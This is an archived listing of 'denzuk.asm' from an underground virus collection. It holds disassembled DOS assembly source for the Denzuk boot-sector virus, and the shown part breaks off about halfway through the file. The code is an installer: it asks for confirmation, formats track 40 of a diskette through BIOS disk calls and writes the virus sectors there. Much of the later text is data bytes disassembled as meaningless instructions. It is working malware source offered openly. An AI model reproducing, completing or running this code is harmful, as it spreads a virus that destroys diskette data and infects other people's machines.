home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / denzuk.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  62.1 KB  |  2,593 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    DENZUK                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   4-Feb-91                             ██
  16.  
  17. ;██      Passes:    5           Analysis Options on: J                 ██
  18.  
  19. ;██                                         ██
  20.  
  21. ;██████████████████████████████████████████████████████████████████████████
  22.  
  23.  
  24.  
  25. data_0001e    equ    24h
  26.  
  27. data_0002e    equ    26h
  28.  
  29. data_0003e    equ    4Ch
  30.  
  31. data_0004e    equ    4Eh
  32.  
  33. data_0005e    equ    78h
  34.  
  35. data_0006e    equ    1BCh
  36.  
  37. data_0007e    equ    1BEh
  38.  
  39. main_ram_size_    equ    413h
  40.  
  41. keybd_flags_1_    equ    417h
  42.  
  43. video_mode_    equ    449h
  44.  
  45. warm_boot_flag_    equ    472h
  46.  
  47. data_0008e    equ    4F6h
  48.  
  49. data_0009e    equ    51Ch            ;*
  50.  
  51. data_0010e    equ    61Eh            ;*
  52.  
  53. data_0011e    equ    7C00h            ;*
  54.  
  55. data_0012e    equ    7C0Bh            ;*
  56.  
  57. data_0013e    equ    7C0Eh            ;*
  58.  
  59. data_0014e    equ    7C10h            ;*
  60.  
  61. data_0015e    equ    7C11h            ;*
  62.  
  63. data_0016e    equ    7C15h            ;*
  64.  
  65. data_0017e    equ    7C16h            ;*
  66.  
  67. data_0018e    equ    7C18h            ;*
  68.  
  69. data_0019e    equ    7C1Ah            ;*
  70.  
  71. data_0020e    equ    7C1Ch            ;*
  72.  
  73. data_0021e    equ    7C2Ah            ;*
  74.  
  75. data_0022e    equ    7C2Bh            ;*
  76.  
  77. data_0023e    equ    7C37h            ;*
  78.  
  79. data_0024e    equ    7C39h            ;*
  80.  
  81. data_0025e    equ    7C3Bh            ;*
  82.  
  83. data_0026e    equ    7C3Ch            ;*
  84.  
  85. data_0027e    equ    7C3Dh            ;*
  86.  
  87. data_0028e    equ    7C3Fh            ;*
  88.  
  89. data_0029e    equ    7D77h            ;*
  90.  
  91. data_0030e    equ    7DD6h            ;*
  92.  
  93. data_0031e    equ    7DE1h            ;*
  94.  
  95. data_0032e    equ    7DFDh            ;*
  96.  
  97. data_0033e    equ    0
  98.  
  99. data_0035e    equ    28h
  100.  
  101. data_0036e    equ    33h
  102.  
  103. data_0037e    equ    5Ch
  104.  
  105. data_0157e    equ    1E50h            ;*
  106.  
  107. data_0158e    equ    2000h            ;*
  108.  
  109. data_0161e    equ    2A00h            ;*
  110.  
  111. data_0164e    equ    7C00h            ;*
  112.  
  113. data_0165e    equ    7C0Bh            ;*
  114.  
  115. data_0166e    equ    7C15h            ;*
  116.  
  117. data_0167e    equ    7C18h            ;*
  118.  
  119. data_0168e    equ    7C1Ah            ;*
  120.  
  121. data_0169e    equ    7C1Eh            ;*
  122.  
  123. data_0171e    equ    7C2Ch            ;*
  124.  
  125. data_0172e    equ    7C2Eh            ;*
  126.  
  127. data_0173e    equ    7C30h            ;*
  128.  
  129. data_0174e    equ    7C31h            ;*
  130.  
  131. data_0175e    equ    7C32h            ;*
  132.  
  133. data_0176e    equ    7CC6h            ;*
  134.  
  135. data_0178e    equ    7E00h            ;*
  136.  
  137. data_0179e    equ    8002h            ;*
  138.  
  139. data_0181e    equ    0A82Ah            ;*
  140.  
  141. data_0182e    equ    0AA00h            ;*
  142.  
  143. data_0183e    equ    0AA02h            ;*
  144.  
  145. data_0185e    equ    0AA2Ah            ;*
  146.  
  147. data_0186e    equ    0AAAAh            ;*
  148.  
  149.  
  150.  
  151. seg_a        segment    byte public
  152.  
  153.         assume    cs:seg_a, ds:seg_a
  154.  
  155.  
  156.  
  157.  
  158.  
  159.         org    100h
  160.  
  161.  
  162.  
  163. denzuk        proc    far
  164.  
  165.  
  166.  
  167. start:
  168.  
  169.         mov    dx,29Dh
  170.  
  171.         dec    byte ptr ds:data_0037e
  172.  
  173.         jns    loc_0002        ; Jump if not sign
  174.  
  175.         jmp    loc_0008
  176.  
  177. loc_0002:
  178.  
  179.         mov    dx,1BFh
  180.  
  181.         call    sub_0001
  182.  
  183.         xor    ah,ah            ; Zero register
  184.  
  185.         int    16h            ; Keyboard i/o  ah=function 00h
  186.  
  187.                         ;  get keybd char in al, ah=scan
  188.  
  189.         and    al,0DFh
  190.  
  191.         cmp    al,59h            ; 'Y'
  192.  
  193.         jne    loc_ret_0009        ; Jump if not equal
  194.  
  195.         mov    dl,ds:data_0037e
  196.  
  197.         xor    ah,ah            ; Zero register
  198.  
  199.         int    13h            ; Disk  dl=drive a  ah=func 00h
  200.  
  201.                         ;  reset disk, al=return status
  202.  
  203.         jc    loc_0007        ; Jump if carry Set
  204.  
  205.         push    dx
  206.  
  207.         mov    dx,281h
  208.  
  209.         call    sub_0001
  210.  
  211.         pop    dx
  212.  
  213.         mov    ax,351Eh
  214.  
  215.         int    21h            ; DOS Services  ah=function 35h
  216.  
  217.                         ;  get intrpt vector al in es:bx
  218.  
  219.         mov    al,9
  220.  
  221.         xchg    al,es:[bx+4]
  222.  
  223.         push    es
  224.  
  225.         push    bx
  226.  
  227.         push    ax
  228.  
  229.         push    ds
  230.  
  231.         pop    es
  232.  
  233.         xor    dh,dh            ; Zero register
  234.  
  235.         mov    ch,28h            ; '('
  236.  
  237.         mov    bx,offset data_0040
  238.  
  239.         mov    ax,509h
  240.  
  241.         int    13h            ; Disk  dl=drive a  ah=func 05h
  242.  
  243.                         ;  format track=ch or cylindr=cx
  244.  
  245.                         ;   al=interleave, dh=head
  246.  
  247.         pop    ax
  248.  
  249.         pop    bx
  250.  
  251.         pop    es
  252.  
  253.         jc    loc_0007        ; Jump if carry Set
  254.  
  255.         mov    es:[bx+4],al
  256.  
  257.         push    ds
  258.  
  259.         pop    es
  260.  
  261.         cld                ; Clear direction
  262.  
  263.         mov    si,offset data_0058
  264.  
  265.         jmp    short loc_0004
  266.  
  267. loc_0003:
  268.  
  269.         test    dh,dh
  270.  
  271.         jnz    loc_0004        ; Jump if not zero
  272.  
  273.         dec    cx
  274.  
  275.         jz    loc_ret_0009        ; Jump if zero
  276.  
  277. loc_0004:
  278.  
  279.         lea    bx,[si+5]        ; Load effective addr
  280.  
  281.         mov    bp,200h
  282.  
  283.         lodsb                ; String [si] to al
  284.  
  285.         cmp    al,0F6h
  286.  
  287.         je    loc_0006        ; Jump if equal
  288.  
  289.         mov    bx,offset data_0049
  290.  
  291.         cmp    al,[bx]
  292.  
  293.         je    loc_0005        ; Jump if equal
  294.  
  295.         mov    di,bx
  296.  
  297.         mov    cx,bp
  298.  
  299.         rep    stosb            ; Rep when cx >0 Store al to es:[di]
  300.  
  301. loc_0005:
  302.  
  303.         xor    bp,bp            ; Zero register
  304.  
  305. loc_0006:
  306.  
  307.         lodsw                ; String [si] to ax
  308.  
  309.         xchg    ax,cx
  310.  
  311.         lodsw                ; String [si] to ax
  312.  
  313.         xchg    ax,dx
  314.  
  315.         or    dl,ds:data_0037e
  316.  
  317.         lea    si,[bp+si]        ; Load effective addr
  318.  
  319.         mov    ax,301h
  320.  
  321.         push    si
  322.  
  323.         push    cx
  324.  
  325.         push    dx
  326.  
  327.         int    13h            ; Disk  dl=drive a  ah=func 03h
  328.  
  329.                         ;  write sectors from mem es:bx
  330.  
  331.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  332.  
  333.         pop    dx
  334.  
  335.         pop    cx
  336.  
  337.         pop    si
  338.  
  339.         jnc    loc_0003        ; Jump if carry=0
  340.  
  341. loc_0007:
  342.  
  343.         mov    dx,offset data_0048
  344.  
  345.  
  346.  
  347. denzuk        endp
  348.  
  349.  
  350.  
  351. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  352.  
  353. ;                   SUBROUTINE
  354.  
  355. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  356.  
  357.  
  358.  
  359. sub_0001    proc    near
  360.  
  361. loc_0008:
  362.  
  363.         mov    ah,9
  364.  
  365.         int    21h            ; DOS Services  ah=function 09h
  366.  
  367.                         ;  display char string at ds:dx
  368.  
  369.  
  370.  
  371. loc_ret_0009:
  372.  
  373.         retn
  374.  
  375. sub_0001    endp
  376.  
  377.  
  378.  
  379. data_0040    db    28h
  380.  
  381.         db     00h, 21h, 02h, 28h, 00h, 22h
  382.  
  383.         db     02h, 28h, 00h, 23h, 02h, 28h
  384.  
  385.         db     00h, 24h, 02h, 28h, 00h, 25h
  386.  
  387.         db     02h, 28h, 00h, 26h, 02h, 28h
  388.  
  389.         db     00h, 27h, 02h, 28h, 00h, 28h
  390.  
  391.         db     02h, 28h, 00h, 29h, 02h
  392.  
  393.         db    0Dh
  394.  
  395. data_0041    db    0Ah, 'You are about to install a '
  396.  
  397.         db    'VIRUS on your diskette!!!', 0Dh, 0Ah
  398.  
  399.         db    'This will des'
  400.  
  401. data_0043    dw    7274h
  402.  
  403. data_0044    db    6Fh
  404.  
  405. data_0045    dw    2079h
  406.  
  407.         db    'ALL data on the diskette!!!', 0Dh
  408.  
  409.         db    0Ah, 'Inser'
  410.  
  411. data_0046    dw    2074h
  412.  
  413.         db    'a formatted 360K di'
  414.  
  415. data_0047    dw    6B73h
  416.  
  417.         db    'ette into the drive.', 0Dh, 0Ah, 'A'
  418.  
  419.         db    're you sure you want to proceed '
  420.  
  421.         db    '(y/N)? $'
  422.  
  423.         db    0Dh, 0Ah, 0Ah, 'Writing...$'
  424.  
  425. data_0048    db    0Dh
  426.  
  427.         db     0Ah, 45h, 72h, 72h, 6Fh, 72h
  428.  
  429.         db     07h, 21h, 07h, 21h, 07h
  430.  
  431.         db    '!$'
  432.  
  433.         db    'Usage:  DENZUK A:    ', 0Dh, 0Ah
  434.  
  435.         db    '$'
  436.  
  437. data_0049    dw    167 dup (0)
  438.  
  439. data_0050    dw    0
  440.  
  441. data_0051    db    0
  442.  
  443. data_0052    dw    0, 0
  444.  
  445. data_0054    dw    0, 0
  446.  
  447.         db    82 dup (0)
  448.  
  449. data_0056    dd    00000h
  450.  
  451. data_0057    dd    00000h
  452.  
  453.         db    77 dup (0)
  454.  
  455. data_0058    db    0F6h
  456.  
  457.         db     29h, 28h, 00h, 00h,0FFh
  458.  
  459.  
  460.  
  461. locloop_0011:
  462.  
  463.         loop    locloop_0011        ; Loop if cx > 0
  464.  
  465.  
  466.  
  467.         pop    di
  468.  
  469.         pop    si
  470.  
  471.         pop    es
  472.  
  473.         pop    ds
  474.  
  475.         pop    dx
  476.  
  477.         pop    cx
  478.  
  479.         pop    ax
  480.  
  481.         popf                ; Pop flags
  482.  
  483.         retn
  484.  
  485.         db     8Dh, 36h,0D1h, 07h
  486.  
  487.         db    0BFh, 90h, 0Bh,0B9h, 00h, 05h
  488.  
  489.         db    0F3h,0A4h
  490.  
  491.         db     8Dh, 36h,0D1h, 0Ch
  492.  
  493.         db    0BFh, 40h, 2Bh,0B9h, 00h, 05h
  494.  
  495.         db    0F3h,0A4h,0C3h, 51h,0FCh, 32h
  496.  
  497.         db    0D2h,0BEh, 10h, 00h
  498.  
  499. loc_0012:
  500.  
  501.         mov    cx,28h
  502.  
  503.  
  504.  
  505. locloop_0013:
  506.  
  507.         mov    ax,es:[di]
  508.  
  509.         xchg    al,ah
  510.  
  511.         ror    ax,1            ; Rotate
  512.  
  513.         ror    ax,1            ; Rotate
  514.  
  515.         mov    dh,ah
  516.  
  517.         and    dh,0C0h
  518.  
  519.         and    ah,3Fh            ; '?'
  520.  
  521.         or    ah,dl
  522.  
  523.         mov    dl,dh
  524.  
  525.         xchg    al,ah
  526.  
  527.         stosw                ; Store ax to es:[di]
  528.  
  529.         loop    locloop_0013        ; Loop if cx > 0
  530.  
  531.  
  532.  
  533.         dec    si
  534.  
  535.         jnz    loc_0012        ; Jump if not zero
  536.  
  537.         pop    cx
  538.  
  539.         retn
  540.  
  541.         db     51h,0FDh, 32h,0D2h
  542.  
  543.         db    0BEh, 10h, 00h
  544.  
  545. loc_0014:
  546.  
  547.         mov    cx,28h
  548.  
  549.  
  550.  
  551. locloop_0015:
  552.  
  553.         mov    ax,es:[di]
  554.  
  555.         xchg    al,ah
  556.  
  557.         rol    ax,1            ; Rotate
  558.  
  559.         rol    ax,1            ; Rotate
  560.  
  561.         mov    dh,al
  562.  
  563.         and    dh,3
  564.  
  565.         and    al,0FCh
  566.  
  567.         or    al,dl
  568.  
  569.         mov    dl,dh
  570.  
  571.         xchg    al,ah
  572.  
  573.         stosw                ; Store ax to es:[di]
  574.  
  575.         loop    locloop_0015        ; Loop if cx > 0
  576.  
  577.  
  578.  
  579.         dec    si
  580.  
  581.         jnz    loc_0014        ; Jump if not zero
  582.  
  583.         pop    cx
  584.  
  585.         cld                ; Clear direction
  586.  
  587.         retn
  588.  
  589. data_0066    db    'WS      EXE ', 0
  590.  
  591.         db    9 dup (0)
  592.  
  593.         db     52h,0B1h, 3Bh, 12h, 02h, 00h
  594.  
  595.         db     00h, 5Eh, 02h, 00h
  596.  
  597.         db    'WSHELP  OVR!'
  598.  
  599.         db    0
  600.  
  601.         db    9 dup (0)
  602.  
  603.         db     03h, 88h, 12h, 11h, 41h, 01h
  604.  
  605.         db    0A0h, 9Dh, 00h, 00h
  606.  
  607.         db    'WSSPELL OVR!'
  608.  
  609.         db    0
  610.  
  611.         db    9 dup (0)
  612.  
  613.         db     03h, 88h, 12h, 11h, 9Fh, 00h
  614.  
  615.         db     80h, 80h, 00h, 00h, 59h,0F9h
  616.  
  617.         db     43h,0F9h, 31h,0F9h, 45h,0F9h
  618.  
  619.         db     52h,0F9h, 50h, 29h, 00h
  620.  
  621.         db    9 dup (0)
  622.  
  623.         db    0A0h,0B2h, 46h, 12h, 00h, 00h
  624.  
  625.         db     00h, 00h, 00h, 00h
  626.  
  627.         db    'WSMSGS  OVR!'
  628.  
  629.         db    0
  630.  
  631.         db    9 dup (0)
  632.  
  633.         db     03h, 88h, 12h, 11h,0C0h, 00h
  634.  
  635.         db     62h, 53h, 00h, 00h
  636.  
  637.         db    'PREVIEW OVR!'
  638.  
  639.         db    0
  640.  
  641.         db    9 dup (0)
  642.  
  643.         db     03h, 88h, 0Fh, 11h, 16h, 01h
  644.  
  645.         db     10h,0ABh, 00h, 00h
  646.  
  647.         db    'PREVIEW MSG!'
  648.  
  649.         db    0
  650.  
  651.         db    9 dup (0)
  652.  
  653.         db     03h, 88h, 0Fh, 11h,0D5h, 00h
  654.  
  655.         db     00h, 22h, 00h, 00h
  656.  
  657.         db    'DRAFT   PDF!'
  658.  
  659.         db    0
  660.  
  661.         db    9 dup (0)
  662.  
  663.         db     03h, 88h, 12h, 11h,0DEh, 00h
  664.  
  665.         db    0AAh, 03h, 00h, 00h
  666.  
  667.         db    'WSSHORT OVR!'
  668.  
  669.         db    0
  670.  
  671.         db    9 dup (0)
  672.  
  673.         db     03h, 88h, 12h, 11h,0DFh, 00h
  674.  
  675.         db     00h, 02h, 00h, 00h
  676.  
  677.         db    'WS4     PDF!'
  678.  
  679.         db    0
  680.  
  681.         db    9 dup (0)
  682.  
  683.         db     03h, 88h, 12h, 11h,0E0h, 00h
  684.  
  685.         db    0ABh, 01h, 00h, 00h
  686.  
  687.         db    'CONFIG  SYS!'
  688.  
  689.         db    0
  690.  
  691.         db    9 dup (0)
  692.  
  693.         db     11h,0A3h, 39h, 12h,0E1h, 00h
  694.  
  695.  
  696.  
  697. locloop_0017:
  698.  
  699.         or    ax,[bx+si]
  700.  
  701.         add    [bx+si],al
  702.  
  703.         inc    cx
  704.  
  705.         push    bp
  706.  
  707.         push    sp
  708.  
  709.         dec    di
  710.  
  711.         inc    bp
  712.  
  713.         pop    ax
  714.  
  715.         inc    bp
  716.  
  717.         inc    bx
  718.  
  719.         inc    dx
  720.  
  721.         inc    cx
  722.  
  723.         push    sp
  724.  
  725.         and    [bx+si],ax
  726.  
  727.         add    [bx+si],al
  728.  
  729.         add    [bx+si],al
  730.  
  731.         add    [bx+si],al
  732.  
  733.         add    [bx+si],al
  734.  
  735.         add    [bx+si],ah
  736.  
  737.         mov    word ptr ds:[1239h],ax
  738.  
  739.         loop    locloop_0018        ; Loop if cx > 0
  740.  
  741.  
  742.  
  743.  
  744.  
  745. locloop_0018:
  746.  
  747.         or    [bx+si],ax
  748.  
  749.         add    [bx+si],al
  750.  
  751.         push    di
  752.  
  753.         push    bx
  754.  
  755.         dec    ax
  756.  
  757.         pop    cx
  758.  
  759.         push    ax
  760.  
  761.         dec    ax
  762.  
  763.         and    [bx+si],ah
  764.  
  765.         dec    di
  766.  
  767.         imul    byte ptr [bx+si]    ; ax = data * al
  768.  
  769.         sub    [bx+si],al
  770.  
  771.         add    [bx+si],al
  772.  
  773.         add    [bx+si],al
  774.  
  775.         stosb                ; Store al to es:[di]
  776.  
  777.         test    al,0
  778.  
  779.         add    [bx+si],al
  780.  
  781.         add    [bx+si],al
  782.  
  783.         add    [bx+si],al
  784.  
  785.         add    [bx+si],al
  786.  
  787.         sub    ch,[bp+si+0]
  788.  
  789.         nop                ;*ASM fixup - displacement
  790.  
  791.         nop                ;*ASM fixup - sign extn byte
  792.  
  793.         stosb                ; Store al to es:[di]
  794.  
  795.         stosb                ; Store al to es:[di]
  796.  
  797.         stosb                ; Store al to es:[di]
  798.  
  799.         stosb                ; Store al to es:[di]
  800.  
  801.         add    byte ptr [bx+si],0
  802.  
  803.         add    [bx+si],al
  804.  
  805.         add    [bp+si],al
  806.  
  807.         stosb                ; Store al to es:[di]
  808.  
  809.         stosb                ; Store al to es:[di]
  810.  
  811.         add    [bx+si],al
  812.  
  813.         add    [bx+si],al
  814.  
  815.         add    [bp+si],ch
  816.  
  817.         stosb                ; Store al to es:[di]
  818.  
  819.         add    [bx+si],al
  820.  
  821.         add    [bp+si],ch
  822.  
  823.         stosb                ; Store al to es:[di]
  824.  
  825.         add    [bp+si],al
  826.  
  827.         stosb                ; Store al to es:[di]
  828.  
  829.         mov    al,ds:data_0183e
  830.  
  831.         test    al,0
  832.  
  833.         add    [bp+si],ch
  834.  
  835.         stosb                ; Store al to es:[di]
  836.  
  837.         stosb                ; Store al to es:[di]
  838.  
  839.         stosb                ; Store al to es:[di]
  840.  
  841.         stosb                ; Store al to es:[di]
  842.  
  843.         stosb                ; Store al to es:[di]
  844.  
  845.         stosb                ; Store al to es:[di]
  846.  
  847.         stosb                ; Store al to es:[di]
  848.  
  849.         stosb                ; Store al to es:[di]
  850.  
  851.         add    [bx+si],al
  852.  
  853.         add    [bx+si],al
  854.  
  855.         add    [bx+si],al
  856.  
  857.         add    [bx+si],al
  858.  
  859.         add    [bx+si],al
  860.  
  861.         add    [bx+si],al
  862.  
  863.         add    [bx+si],al
  864.  
  865.         add    [bx+si],al
  866.  
  867.         stosb                ; Store al to es:[di]
  868.  
  869.         test    al,0
  870.  
  871.         add    [bx+si],al
  872.  
  873.         or    ch,[bp+si+0A0h]
  874.  
  875.         add    [bx+si],al
  876.  
  877.         add    [bx+si],al
  878.  
  879.         add    [bx+si],al
  880.  
  881.         add    [bx+si],al
  882.  
  883.         sub    ch,[bp+si+0]
  884.  
  885.         nop                ;*ASM fixup - displacement
  886.  
  887.         nop                ;*ASM fixup - sign extn byte
  888.  
  889.         add    ch,[bp+si-5556h]
  890.  
  891.         add    byte ptr [bx+si],0
  892.  
  893.         add    [bx+si],al
  894.  
  895.         add    [bp+si],ch
  896.  
  897.         stosb                ; Store al to es:[di]
  898.  
  899.         mov    al,ds:data_0033e
  900.  
  901.         add    [bx+si],al
  902.  
  903.         add    [bp+si],ch
  904.  
  905.         stosb                ; Store al to es:[di]
  906.  
  907.         add    [bx+si],al
  908.  
  909.         add    [bp+si],ch
  910.  
  911.         stosb                ; Store al to es:[di]
  912.  
  913.         add    [bp+si],al
  914.  
  915.         stosb                ; Store al to es:[di]
  916.  
  917.         mov    al,ds:data_0182e
  918.  
  919.         stosb                ; Store al to es:[di]
  920.  
  921.         add    [bx+si],al
  922.  
  923.         or    ch,[bp+si+0A8h]
  924.  
  925.         add    [bx+si],al
  926.  
  927.         add    [bx+si],al
  928.  
  929.         add    [bx+si],al
  930.  
  931.         add    [bx+si],al
  932.  
  933.         add    [bx+si],al
  934.  
  935.         add    [bx+si],al
  936.  
  937.         add    [bx+si],al
  938.  
  939.         add    [bx+si],al
  940.  
  941.         add    [bx+si],al
  942.  
  943.         add    [bx+si],al
  944.  
  945.         add    [bp+si+0A8h],ch
  946.  
  947.         add    [bp+si],al
  948.  
  949.         stosb                ; Store al to es:[di]
  950.  
  951.         stosb                ; Store al to es:[di]
  952.  
  953.         add    byte ptr [bx+si],0
  954.  
  955.         add    [bx+si],al
  956.  
  957.         add    [bx+si],al
  958.  
  959.         add    [bx+si],al
  960.  
  961.         add    [bp+si],ch
  962.  
  963.         stosb                ; Store al to es:[di]
  964.  
  965.         add    [bx+si],al
  966.  
  967.         add    [bp+si],cl
  968.  
  969.         stosb                ; Store al to es:[di]
  970.  
  971.         stosb                ; Store al to es:[di]
  972.  
  973.         add    byte ptr [bx+si],0
  974.  
  975.         add    [bx+si],al
  976.  
  977.         add    [bp+si-7F56h],ch
  978.  
  979.         add    [bx+si],al
  980.  
  981.         add    [bx+si],al
  982.  
  983.         add    [bp+si],ch
  984.  
  985.         stosb                ; Store al to es:[di]
  986.  
  987.         add    byte ptr [bx+si],0
  988.  
  989.         stosb                ; Store al to es:[di]
  990.  
  991.         stosb                ; Store al to es:[di]
  992.  
  993.         add    [bp+si],al
  994.  
  995.         stosb                ; Store al to es:[di]
  996.  
  997.         mov    al,ds:data_0161e
  998.  
  999.         stosb                ; Store al to es:[di]
  1000.  
  1001.         add    byte ptr [bx+si],0
  1002.  
  1003.         add    [bx+si],al
  1004.  
  1005.         add    [bx+si],al
  1006.  
  1007.         add    [bx+si],al
  1008.  
  1009.         add    [bx+si],al
  1010.  
  1011.         add    [bx+si],al
  1012.  
  1013.         add    [bx+si],al
  1014.  
  1015.         add    [bx+si],al
  1016.  
  1017.         add    [bx+si],al
  1018.  
  1019.         add    [bx+si],al
  1020.  
  1021.         add    [bx+si],al
  1022.  
  1023.         add    [bx+si],al
  1024.  
  1025.         add    [bx+si],al
  1026.  
  1027.         stosb                ; Store al to es:[di]
  1028.  
  1029.         test    al,0
  1030.  
  1031.         stosb                ; Store al to es:[di]
  1032.  
  1033.         stosb                ; Store al to es:[di]
  1034.  
  1035.         stosb                ; Store al to es:[di]
  1036.  
  1037.         test    al,0
  1038.  
  1039.         add    [bp+si],cl
  1040.  
  1041.         stosb                ; Store al to es:[di]
  1042.  
  1043.         stosb                ; Store al to es:[di]
  1044.  
  1045.         stosb                ; Store al to es:[di]
  1046.  
  1047.         stosb                ; Store al to es:[di]
  1048.  
  1049.         stosb                ; Store al to es:[di]
  1050.  
  1051.         mov    al,ds:data_0161e
  1052.  
  1053.         stosb                ; Store al to es:[di]
  1054.  
  1055.         add    [bx+si],al
  1056.  
  1057.         add    [bx+si],al
  1058.  
  1059.         sub    ch,[bp+si+80h]
  1060.  
  1061.         add    [bx+si],al
  1062.  
  1063.         add    [bp+si],cl
  1064.  
  1065.         stosb                ; Store al to es:[di]
  1066.  
  1067.         stosb                ; Store al to es:[di]
  1068.  
  1069.         stosb                ; Store al to es:[di]
  1070.  
  1071.         stosb                ; Store al to es:[di]
  1072.  
  1073.         stosb                ; Store al to es:[di]
  1074.  
  1075.         stosb                ; Store al to es:[di]
  1076.  
  1077.         mov    al,byte ptr ds:[0A00h]
  1078.  
  1079.         stosb                ; Store al to es:[di]
  1080.  
  1081.         stosb                ; Store al to es:[di]
  1082.  
  1083.         add    [bp+si],ch
  1084.  
  1085.         stosb                ; Store al to es:[di]
  1086.  
  1087.         test    al,0
  1088.  
  1089.         add    ch,[bp+si+0A0h]
  1090.  
  1091.         add    ch,[bp+si+0A8h]
  1092.  
  1093.         add    [bp+si],ch
  1094.  
  1095.         stosb                ; Store al to es:[di]
  1096.  
  1097.         stosb                ; Store al to es:[di]
  1098.  
  1099.         stosb                ; Store al to es:[di]
  1100.  
  1101.         stosb                ; Store al to es:[di]
  1102.  
  1103.         add    [bx+si],al
  1104.  
  1105.         add    [bx+si],al
  1106.  
  1107.         add    [bx+si],al
  1108.  
  1109.         add    [bx+si],al
  1110.  
  1111.         add    [bx+si],al
  1112.  
  1113.         add    [bx+si],al
  1114.  
  1115.         add    [bx+si],al
  1116.  
  1117.         add    [bx+si],al
  1118.  
  1119.         add    [bx+si],al
  1120.  
  1121.         add    [bp+si+0A8h],ch
  1122.  
  1123.         stosb                ; Store al to es:[di]
  1124.  
  1125.         stosb                ; Store al to es:[di]
  1126.  
  1127.         stosb                ; Store al to es:[di]
  1128.  
  1129.         add    byte ptr [bx+si],0
  1130.  
  1131.         or    ch,[bp+si-5556h]
  1132.  
  1133.         stosb                ; Store al to es:[di]
  1134.  
  1135.         stosb                ; Store al to es:[di]
  1136.  
  1137.         mov    al,ds:data_0161e
  1138.  
  1139.         stosb                ; Store al to es:[di]
  1140.  
  1141.         add    [bx+si],al
  1142.  
  1143.         add    [bx+si],al
  1144.  
  1145.         add    [bp+si+80h],ch
  1146.  
  1147.         add    [bx+si],al
  1148.  
  1149.         add    [bp+si-5556h],ch
  1150.  
  1151.         stosb                ; Store al to es:[di]
  1152.  
  1153.         stosb                ; Store al to es:[di]
  1154.  
  1155.         stosb                ; Store al to es:[di]
  1156.  
  1157.         stosb                ; Store al to es:[di]
  1158.  
  1159.         mov    al,ds:data_0033e
  1160.  
  1161.         stosb                ; Store al to es:[di]
  1162.  
  1163.         stosb                ; Store al to es:[di]
  1164.  
  1165.         add    [bp+si],ch
  1166.  
  1167.         stosb                ; Store al to es:[di]
  1168.  
  1169.         add    byte ptr [bx+si],2
  1170.  
  1171.         stosb                ; Store al to es:[di]
  1172.  
  1173.         mov    al,ds:data_0033e
  1174.  
  1175.         stosb                ; Store al to es:[di]
  1176.  
  1177.         stosb                ; Store al to es:[di]
  1178.  
  1179.         add    [bx+si],al
  1180.  
  1181.         add    [bx+si],al
  1182.  
  1183.         add    [bx+si],al
  1184.  
  1185.         add    [bx+si],al
  1186.  
  1187.         add    [bx+si],al
  1188.  
  1189.         add    [bx+si],al
  1190.  
  1191.         add    [bx+si],al
  1192.  
  1193.         add    [bx+si],al
  1194.  
  1195.         add    [bx+si],al
  1196.  
  1197.         add    [bx+si],al
  1198.  
  1199.         add    [bx+si],al
  1200.  
  1201.         add    [bx+si],al
  1202.  
  1203.         add    [bx+si],al
  1204.  
  1205.         stosb                ; Store al to es:[di]
  1206.  
  1207.         test    al,0
  1208.  
  1209.         stosb                ; Store al to es:[di]
  1210.  
  1211.         stosb                ; Store al to es:[di]
  1212.  
  1213.         add    byte ptr [bx+si],0
  1214.  
  1215.         add    [bp+si],cl
  1216.  
  1217.         stosb                ; Store al to es:[di]
  1218.  
  1219.         stosb                ; Store al to es:[di]
  1220.  
  1221.         stosb                ; Store al to es:[di]
  1222.  
  1223.         stosb                ; Store al to es:[di]
  1224.  
  1225.         stosb                ; Store al to es:[di]
  1226.  
  1227.         mov    al,ds:data_0161e
  1228.  
  1229.         stosb                ; Store al to es:[di]
  1230.  
  1231.         add    [bx+si],al
  1232.  
  1233.         add    [bx+si],al
  1234.  
  1235.         add    [bp+si],al
  1236.  
  1237.         add    byte ptr [bx+si],0
  1238.  
  1239.         add    [bp+si],al
  1240.  
  1241.         stosb                ; Store al to es:[di]
  1242.  
  1243.         stosb                ; Store al to es:[di]
  1244.  
  1245.         stosb                ; Store al to es:[di]
  1246.  
  1247.         stosb                ; Store al to es:[di]
  1248.  
  1249.         stosb                ; Store al to es:[di]
  1250.  
  1251.         stosb                ; Store al to es:[di]
  1252.  
  1253.         stosb                ; Store al to es:[di]
  1254.  
  1255.         mov    al,ds:data_0033e
  1256.  
  1257.         add    ch,[bp+si+2A00h]
  1258.  
  1259.         mov    al,ds:data_0033e
  1260.  
  1261.         add    ch,[bp+si+0A0h]
  1262.  
  1263.         add    [bp+si],ch
  1264.  
  1265.         stosb                ; Store al to es:[di]
  1266.  
  1267.         add    byte ptr [bx+si],0
  1268.  
  1269.         add    ch,[bp+si-5556h]
  1270.  
  1271.         mov    al,ds:data_0033e
  1272.  
  1273.         add    [bx+si],al
  1274.  
  1275.         add    [bx+si],al
  1276.  
  1277.         pushf                ; Push flags
  1278.  
  1279.         push    ax
  1280.  
  1281.         push    cx
  1282.  
  1283.         push    dx
  1284.  
  1285.         push    ds
  1286.  
  1287.         push    es
  1288.  
  1289.         push    si
  1290.  
  1291.         push    di
  1292.  
  1293.         push    cs
  1294.  
  1295.         pop    ds
  1296.  
  1297.         mov    ax,5
  1298.  
  1299.         int    10h            ; Video display   ah=functn 00h
  1300.  
  1301.                         ;  set display mode in al
  1302.  
  1303.         mov    ax,0B800h
  1304.  
  1305.         mov    es,ax
  1306.  
  1307. ;*        call    sub_0002        ;*
  1308.  
  1309.         db    0E8h, 24h, 00h
  1310.  
  1311.         mov    cx,10h
  1312.  
  1313.  
  1314.  
  1315. locloop_0019:
  1316.  
